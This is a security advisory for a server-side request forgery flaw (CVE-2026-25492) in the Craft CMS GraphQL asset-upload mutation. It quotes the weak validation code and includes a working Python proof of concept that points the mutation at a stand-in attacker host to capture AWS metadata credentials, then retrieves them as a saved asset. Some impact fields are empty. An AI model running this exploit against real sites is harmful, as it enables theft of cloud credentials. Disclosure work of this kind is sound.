craftcms/craft
Affected
- introduced
5.0.0-RC1, fixed5.8.22(ecosystem)
Fixed versions
5.8.22
Fix
The export has no generic command for this ecosystem.
Advisory
Also known as: CVE-2026-25492
Craft CMS: save_images_Asset graphql mutation can be abused to exfiltrate AWS credentials of underlying host
Summary
Details
handleUpload() in src/gql/resolvers/mutations/Assets.php contains the code that processes the save_images_Asset mutation.
It has some basic validation logic for the url parameter (source of the image) and filename parameter (what to save image as):
} elseif (!empty($fileInformation['url'])) {
$url = $fileInformation['url'];
// make sure the hostname is alphanumeric and not an IP address
$hostname = parse_url($url, PHP_URL_HOST);
if (
!filter_var($hostname, FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME) ||
filter_var($hostname, FILTER_VALIDATE_IP)
) {
throw new UserError("$url contains an invalid hostname.");
}
if (empty($fileInformation['filename'])) {
$filename = AssetsHelper::prepareAssetName(pathinfo(UrlHelper::stripQueryString($url), PATHINFO_BASENAME));
} else {
$filename = AssetsHelper::prepareAssetName($fileInformation['filename']);
}
$extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
if (is_array($allowedExtensions) && !in_array($extension, $allowedExtensions, true)) {
throw new AssetDisallowedExtensionException(Craft::t('app', "“{$extension}” is not an allowed file extension."));
}
The upshot of this validation is that url must contain a hostname, not an IP, and filename must contain an allowed extension. If the allowed extension is a typical image extension, further validation will be done downstream to verify that the downloaded content is in fact an image.
An authenticated attacker can trick this mutation into fetching sensitive AWS metadata, or other sensitive information from the craft instance's internal network.
PoC
Preconditions
Code
import requests
# Replace GRAPHQL_ENDPOINT and BEARER_TOKEN per target.
GRAPHQL_ENDPOINT = 'http://localhost:8080/actions/graphql/api'
TOKEN = '<TOKEN HERE>'
mutation = '''
mutation SaveAsset($_file: FileInput!, $title: String, $focalPoint: String) { save_images_Asset(_file: $_file,
title: $title, focalPoint: $focalPoint) { id title url filename focalPoint dateCreated } }
'''
variables = {
'_file': {
'url' : "http://attacker.domain/latest/meta-data/iam/security-credentials",
'filename': 'foo.txt'
},
"title": "my photo",
"focalPoint": "0.5;0.5"
}
resp = requests.post(GRAPHQL_ENDPOINT,
json={'query': mutation, 'variables': variables},
headers={'Authorization': f'Bearer {TOKEN}'})
print(resp.status_code, resp.text)
If attack is successful, response to running this script will be something like:
200 {"data":{"save_images_Asset":{"id":"211403","title":"my photo","url":"http://localhost:8080/assets/volumes/images/foo.txt","filename":"foo.txt","focalPoint":null,"dateCreated":"2025-12-18T09:45:24-08:00"}}}
Attacker can then download sensitive data by fetching http://localhost:8080/assets/volumes/images/foo.txt
Impact
Impacted users must:
Impact is heightened if:
Ultimate result is:
Attacker or malicious insider gets access to infrastructure craft is running on, not just craft itself.
Medium Basis: The source's own band: MODERATE
5.0.0-RC1, fixed 5.8.22 (ecosystem)5.8.22
The export has no generic command for this ecosystem.
3.5.0, fixed 4.16.18 (ecosystem)4.16.18
The export has no generic command for this ecosystem.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0